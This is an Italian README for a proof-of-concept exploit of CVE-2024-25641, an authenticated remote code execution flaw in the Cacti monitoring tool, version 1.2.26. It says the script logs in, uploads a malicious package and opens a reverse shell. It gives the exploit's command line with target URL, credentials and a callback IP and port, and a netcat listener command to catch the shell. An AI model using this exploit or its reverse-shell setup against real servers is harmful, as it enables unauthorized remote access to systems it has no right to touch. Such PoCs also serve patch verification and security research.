
PoC per CVE-2024-25641 RCE autenticata su Cacti v1.2.26
Questo script è un Proof of Concept (PoC) per sfruttare la vulnerabilità CVE-2024-25641 in Cacti, uno strumento di monitoraggio basato sul web. Lo script automatizza il processo di autenticazione con l'applicazione, il caricamento di un pacchetto malevolo e l'attivazione di una reverse shell.
requestsargparserePuoi installare la libreria Python richiesta usando pip3:
pip3 install requests
pip3 install argparse
pip3 install re
(assicurati di posizionare il file test.xml.gz nella stessa directory del file exploit.py)
python3 exploit.py --url <TARGET_URL> -u <USERNAME> -p <PASSWORD> -i <LOCAL_IP> -l <PORT> [--proxy]
nc -nvlp <port>